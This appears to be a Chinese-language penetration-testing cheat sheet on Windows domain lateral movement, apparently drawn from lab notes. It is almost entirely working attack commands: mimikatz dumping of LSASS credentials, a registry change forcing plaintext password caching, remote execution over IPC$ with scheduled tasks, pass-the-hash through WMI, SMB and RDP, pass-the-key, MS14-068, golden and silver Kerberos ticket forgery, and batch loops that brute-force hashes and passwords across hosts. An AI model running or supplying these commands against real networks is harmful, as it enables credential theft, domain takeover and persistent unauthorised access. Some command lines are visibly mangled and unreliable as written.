文章目录
1.权限提升
- 一开始一定要提到administrator或以上,才好继续内网渗透。
2.渗透姿势
爆hash,爆aes key
爆hash
域用户主机上传mimikatz
- mimikatz.exe上执行: privilege::debug sekurlsa::logonpasswords 则可报出hash
- 当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。
- reg add
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f
procdump
- procdump -accepteula -ma lsass.exe lsass.dmp mimikatz.exe上执行:
- sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords
爆aes key
3.远程登录
注册表修改
开启的3389方法:
1.通用开3389(优化后):
- wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call
SetAllowTSConnections 1
2.For Win2003:
- REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" “Server /v
fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.For Win2008:
- REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” "Server /v
fDenyTSConnections /t REG_DWORD /d 00000000 /f
4.For Every:
cmd开3389 win08 win03 win7 win2012 winxp
win08,三条命令即可:
-
wmic /namespace:\root\cimv2 erminalservices path
win32_terminalservicesetting where (__CLASS != “”) call
setallowtsconnections 1 -
wmic /namespace:\root\cimv2 erminalservices path
win32_tsgeneralsetting where (TerminalName =‘RDP-Tcp’) call
setuserauthenticationrequired 1 -
reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v
fSingleSessionPerUser /t REG_DWORD /d 0 /f
win2012通用;win7前两条即可。权限需要run as administrator。
连接命令
- windows: mstsc
- linux: rdesktop 192.168.3.21:3389
4.连接操作
PTH攻击(利用明文或hash连接)
IPC(明文连接主机)
在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机?这里仅介绍at&schtasks命令及相关工具的使用,在已知目标系统的用户明文密码或者hash的基础上,直接可以在远程主机上执行命令。
获取到某域主机权限->minikatz得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文,hash当做密码字典-》尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令
一、利用流程
- 建立IPC链接到目标主机
- 拷贝要执行的命令脚本到目标主机
- 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
- 删除IPC链接
net use \server\ipc$“password” /user:username # 工作组
net use \server\ipc$“password” /user:domain\username #域内
dir \xx.xx.xx.xx\C$\ # 查看文件列表
copy \xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \xx.xx.xx.xx\C$\1.bat # 复制文件
net use \xx.xx.xx.xx\C$\1.bat /del # 删除IPC
net view xx.xx.xx.xx # 查看对方共享
建立IPC常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题
(4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标NetLogon服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码
建立IPC失败的原因
(1)目标系统不是NT或以上的操作系统
(2)对方没有打开IPC$共享
(3)对方未开启139、445端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误
二、[at] & [schtasks]
#at 小于等于windows2008
net use \192.168.1.5 Password /user:admin # 建立ipc连接:
copy add.bat \192.168.1.5\C$\Inetpub # 拷贝执行脚本到目标机器
net time \192.168.1.5 # 查看目标时间,可能本地时间与目标时间不符
at \192.168.1.5 21:52 c:\Inetpub\add.bat # 添加计划任务
at \192.168.1.5 # 查看任务列表
#schtasks 大于windows2008
net use \192.168.1.5 Password /user:admin # 建立ipc连接:
copy add.bat \192.168.1.5\C$\Inetpub # 拷贝执行脚本到目标机器
net time \192.168.1.5 # 查看目标时间,可能本地时间与目标时间不符
schtasks /create /s 192.168.1.5 /ru “SYSTEM” /tn adduser /sc DAILY /tr c:\Inetpub\add.bat /F #创建adduser计划任务
schtasks /run /s 192.168.1.5 /tn adduser /i #运行adduser计划任务
schtasks /delete /s 192.168.1.5 /tn adduser /f # 删除计划任务
WMI(利用明文连接)
自带WMIC 明文传递 无回显
- wmic /node:192.168.3.21 /user:administrator /password:Admin12345
process call create “cmd.exe /c ipconfig >C:\1.txt”
SMB(利用明文或hash连接)
- smbexec ./admin:[email protected]
- smbexec domain/admin:[email protected]
- smbexec -hashes :HASH ./[email protected]
- smbbexec -hashes :HASH domain/[email protected]
- smbexec -hashes :ccef208c6485269c20db2cad21734fe7
./[email protected]
RDP(利用明文或hash连接)
- 除了上述讲到的IPC,WMI,SMB等协议的链接外,获取到的明文密码或HASH密文也可以通过RDP协议进行链接操作。
RDP明文密码链接
- windows: mstsc
- linux: rdesktop 192.168.3.21:3389
RDP密文HASH链接
- windows Server需要开启 Restricted Admin mode,在Windows 8.1和Windows Server
2012 R2中默认开启,同时如果Win 7 和Windows Server 2008
R2安装了2871997、2973351补丁也支持;开启命令: - REG ADD “HKLM\System\CurrentControlSet\Control\Lsa” /v
DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
开启后运行:
- mstsc.exe /restrictedadmin
- mimikatz.exe
- privilege::debug
- sekurlsa::pth /user:administrator /domain:remoteserver
/ntlm:d25ecd13fddbb542d2e16da4f9e0333d “/run:mstsc.exe
/restrictedadmin”
WMI工具(利用明文或hash连接)
- wmiexec ./administrator:[email protected] “whoami”
- wmiexec -hashes :HASH ./[email protected] “whoami”
- wmiexec -hashes :ccef208c6485269c20db2cad21734fe7
./[email protected] “whoami”
PTK攻击(aes key 进行连接)
PTK(pass the key) #利用的aeskey进行的渗透测试
#获取用户aes key
mimikatz “privilege::debug” “sekurlsa::ekeys”
#注入aes key
mimikatz “privilege::debug” “sekurlsa::pth /user:mary /domain:god.org /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288”
#目标系统:安装kb2871997补丁
PTT攻击(权限维持)
Kerberos协议在域中,简要介绍一下:
- 客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting
Ticket) - 将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中TGT数据
- 然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测
- 检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。
- ptt攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:
MS14-068,Golden ticket(黄金票据),SILVER ticket(白银票据)
#MS14-068
-
#查看当前sid whoami/user
-
mimikatz # kerberos::purge
-
//清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
-
mimikatz # kerberos::list
-
//查看当前机器凭证
-
mimikatz # kerberos::ptc
-
票据文件 //将票据注入到内存中
#利用ms14-068生成TGT数据
- ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
- MS14-068.exe -u [email protected] -s
S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p
admin!@#45
#票据注入
- mimikatz.exe “kerberos::ptc [email protected]” exit
#查看凭证列表 klist
#利用net use载入
-
net use \192.168.3.21\c$
-
dir \192.168.3.21\c$
#利用kekeo生成TGT数据
#生成票据
- kekeo “tgt::ask /user:mary /domain:god.org
/ntlm:518b98ad4178a53695dc997aa02d455c”
#导入票据
- kerberos::ptt [email protected][email protected]
#查看凭证 klist
#利用net use载入
-
net use \192.168.3.21\c$
-
dir \192.168.3.21\c$
权限维持-Golden ticket
Golden ticket(黄金票据)
- Golden
ticket的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。那么如果获取到了krbtgt的密码hash值,是不是就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。
#伪造黄金凭据需要具备下面条件:
- krbtgt用户的hash(有域控制器权限)
- 域名称
- 域的SID值
- 要伪造的用户名
#域控DC导出hash krbtgt
-
privilege::debug
-
lsadump::lsa /patch
-
b097d7ed97495408e1537f706c357fc5
#生成tgt凭证
- mimikatz # kerberos::golden /user:administrator /domain::god.org
/sid:S-1-5-21-1218902331-2157346161-1782232778-1124
/krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket
#注入凭证
- mimikatz # kerberos::ptt ticket.kirbi
#查看凭证 klist
##利用net use载入
-
net use \192.168.3.21\c$
-
dir \192.168.3.21\c$
权限维持-silver ticket
silver ticket(白银票据)
- silver ticket和golden
ticket不同的是,它不需要和域控制器进行通信,原理是伪造TGS,使用的是计算机账户的hash进行加密的,所以只能访问指定的权限。不像是Golden
ticket,是由krgtgt用户的密码hash进行加密,伪造tgt可以获取到所有权限。白银票据这里只是对单一的服务进行授权,利用过程和golden
ticket差不多,首先上域控制器中,把机器的ntlm hash(rc4加密)
dump下来,然后在普通域用户机器进行伪造权限,进行ptt.
#域控导出hash
- privilege::debug
- sekurlsa::logonpasswords
#攻击3.21下的cifs(文件共享服务)
- kerberos::golden /domain:god.org
/sid:S-1-5-21-1218902331-2157346161-1782232778 /target:192.168.3.21
/rc4:8432d4fa4430ecf56927dbabd1b4d36b /service:cifs /user:mary /ptt
PTT(pass the ticket) #利用的票据凭证TGT进行的渗透测试
5.bat批量连接测试
#利用hash验证主机列表ips.txt
FOR /F %%i in (ips.txt) do atexec.exe -hashes :HASH ./administrator@%%i whoami
#指定主机进行用户hash列表(hashes.txt)爆破
FOR /F %%i in (hashes.txt) do atexec.exe -hashes %%i ./[email protected] whoami
#指定主机进行明文密码列表(passwords.txt)爆破
FOR /F %%i in (passwords.txt) do atexec.exe ./administrator:%%[email protected] whoami
#利用明文密码验证主机列表ips.txt
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:password123@%%i whoami